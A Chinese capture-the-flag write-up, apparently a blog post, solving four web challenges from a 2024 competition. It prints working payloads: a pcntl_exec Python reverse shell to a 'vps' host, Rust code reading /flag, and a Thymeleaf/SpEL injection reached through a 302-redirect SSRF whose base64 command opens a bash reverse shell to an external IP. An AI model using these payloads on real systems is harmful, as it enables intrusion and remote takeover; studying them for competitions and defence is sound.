红明谷初赛2024-web-wp

这次队里我们仨发挥中规中矩,排14名。

只能说最后unauth那道会错了意,然后卡住了,后面才发现是原题秒出的那种.....

确实是我傻逼了....

ezphp

可以用endoafr报错拿到文件内容,然后就是一个匿名类的读取。

<?php  
highlight_file(__FILE__);  
// flag.php  
if (isset($_POST['f'])) {  
    echo hash_file('md5', $_POST['f']);  
}  
?>

这里肯定是撞不出来的,所以得另辟蹊径。

Challenges_2022_Public/web/minimal-php at main · DownUnderCTF/Challenges_2022_Public (github.com)

这是我们队用的方法。

Calculating blowup
baseline blowup is 9
detecting equals
[True, True, False]
j: [True, True, False]
header: convert.base64-encode|convert.base64-encode

UEQ5d2FIQU5DbWxtSUNocGMzTmxkQ2drWDBkRlZGc25aWHB3YUhCUWFIQTRKMTBwS1NCN0RRb2dJQ0FnYUdsbmFHeHBaMmgwWDJa

拿到源码:

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

这里有一个unset的操作,去搜一下就可以发现很多关于unset的解释,因为这个匿名类没有到256字节的长度,所以unset不会马上就删除掉它的内存,只是把这个名字给擦去了。

那么我们只需要找到这块内存,然后扒出来就行了。

本地起一个试试:

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$c=get_declared_classes();
//c用urlencode  输出最后一个  //有不可见字符
echo urlencode($c[count($c)-1]);
$f = new $a();
$f->getflag();
?>

ok了,找到了如何调用这个匿名类,但是有个问题就是,最后的数字一定要对上,$0后面是访问次数,要一致

重新启动容器传入:

flag.phpezphpPhp8=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%3A7%240

就出了。

unauth

基本上是原题。

如何在ctf解题实战中绕过disable_function_ctf disablefunction-CSDN博客

首先是登录,www.zip获取log文件,拿到admin和登录密码。

然后就是一个直接执行的cmd,但是是ban掉了很多东西的。

但是没有ban掉pcntl_exec,直接python反弹shell:

pcntl_exec("/usr/bin/python",array(%27-c%27,%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("vps",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27));

开启一个shell界面交互:

python -c 'import pty;pty.spawn("/bin/sh")'

根目录有flag,但是没权限,看一下:

需要admin权限,suid提权:

su提权admin,但是还要输入密码,log里那个不行。

但是打进来shell的那个目录下有个config,读取看看:

找到数据库账号密码,登录成功:

playground

rust写的,不会rust...

丢gpt,发现只过滤了std,post在指定路由传参就会编译代码执行。

开始找不到路子,但是发现 include_str! 没ban,一把梭了:

curl -X POST -d 'fn main() { let flag = include_str!("/flag"); println!("{}", flag);}' http://eci-2zedj6bbj43wih3rvgzp.cloudeci1.ichunqiu.com:8000/rust_code

后面看了其他人的wp,还可以内联写C绕过:

//声明外部函数 C语言库函数
extern "C" {
    fn system(cmd: *const u8) -> i32;
}

fn main() {
    // Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
    unsafe {
        system("cat /flag".as_ptr());
    }
}

当然队里赵哥一开始用的写orw的方式打进去了。这道就略过吧。

Simp1escape

拿到一个jar,审计一下代码,主要看到三个交互:

index就是一个index页面,没啥好说的。

CurlController.class:

package com.example.controller;

import com.example.utils.Utils;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.concurrent.TimeUnit;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class CurlController {
    private static final String RESOURCES_DIRECTORY = "resources";
    private static final String SAVE_DIRECTORY = "sites";

    public CurlController() {
    }

    @RequestMapping({"/curl"})
    public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
        if (!url.startsWith("http:") && !url.startsWith("https:")) {
            System.out.println(url.startsWith("http"));
            return "No protocol: " + url;
        } else {
            URL urlObject = new URL(url);
            String result = "";
            String hostname = urlObject.getHost();
            if (hostname.indexOf("../") != -1) {
                return "Illegal hostname";
            } else {
                InetAddress inetAddress = InetAddress.getByName(hostname);
                if (Utils.isPrivateIp(inetAddress)) {
                    return "Illegal ip address";
                } else {
                    try {
                        String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites";
                        File saveDir = new File(savePath);
                        if (!saveDir.exists()) {
                            saveDir.mkdirs();
                        }

                        TimeUnit.SECONDS.sleep(4L);
                        HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();
                        if (connection instanceof HttpURLConnection) {
                            connection.connect();
                            int statusCode = connection.getResponseCode();
                            if (statusCode == 200) {
                                BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));

                                BufferedWriter writer;
                                String line;
                                for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") {
                                }

                                writer.write(result);
                                reader.close();
                                writer.close();
                            }
                        }

                        return result;
                    } catch (Exception var15) {
                        return var15.toString();
                    }
                }
            }
        }
    }
}

AdminController.class:

package com.example.controller;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;

@Controller
public class AdminController {
    public AdminController() {
    }

    @GetMapping({"/getsites"})
    public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String ipAddress = request.getRemoteAddr();
        if (!ipAddress.equals("127.0.0.1")) {
            response.setStatus(HttpStatus.FORBIDDEN.value());
            return "forbidden";
        } else {
            Context context = new Context();
            TemplateEngine engine = new SpringTemplateEngine();
            String dispaly = engine.process(hostname, context);
            return dispaly;
        }
    }
}

漏洞点肯定是AdminController这里,但是限制了本地访问,但可以用 302 跳转绕过。

本来没搞懂这里整个引擎啥东西,看到import的thymeleaf,就想到了thymeleaf的SSTI注入。

CurlController是交互点,前面有个http/https检测,除了不让目录穿越,没什么waf。

RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup - Boogiepop Doesn't Laugh (boogipop.com)

这里用jackson的objectmapper去获取SPEL对象,最终执行SPEL表达式,类似于嵌套绕过了。thymeleaf本身也是SPEL只不过他给原生SPEL加了黑名单。

[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]

注意url编码包括特殊符号,vps挂一个php,然后直接打:

<?php  
header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC84LjE0MC4yNTEuMTUyLzEyMzQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')%22).getValue()%7D%5D%5D");?>
/curl?url=http://vps:port/exploit.php

也可以requestrepo上设置response然后跳转:

/curl?url=http://7eaxdfy1.requestrepo.com

但是我本地测的时候没有出,静候佳音吧。

posted @ 2024-04-04 21:16  Eddie_Murphy  阅读(391)  评论(0编辑  收藏  举报